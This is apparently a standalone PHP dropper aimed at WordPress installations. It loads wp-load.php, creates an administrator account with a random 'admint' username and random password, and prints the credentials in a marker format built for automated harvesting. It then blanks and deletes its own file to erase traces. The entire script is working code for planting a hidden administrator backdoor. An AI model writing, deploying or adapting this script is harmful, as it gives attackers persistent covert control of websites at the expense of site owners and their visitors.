<?php
require_once __DIR__ . '/wp-load.php';

$len = 12; //password length
$prefix = "admint"; //user prefix

$user = $prefix.rand(1000,9999);
$password = substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.@#$%*'), 0, $len);
$userdata = array(
    'user_login' => $user,
    'user_pass'  => $password,
    'user_email' => '',
    'first_name' => '',
    'last_name'  => '',
    'role'       => 'administrator'
);

$user_id = wp_insert_user($userdata);
if ( !is_wp_error($user_id) ){
    echo "[i_res|".$user.",".$password."|i_res]";
}

file_put_contents(__FILE__, "");
unlink(__FILE__);
?>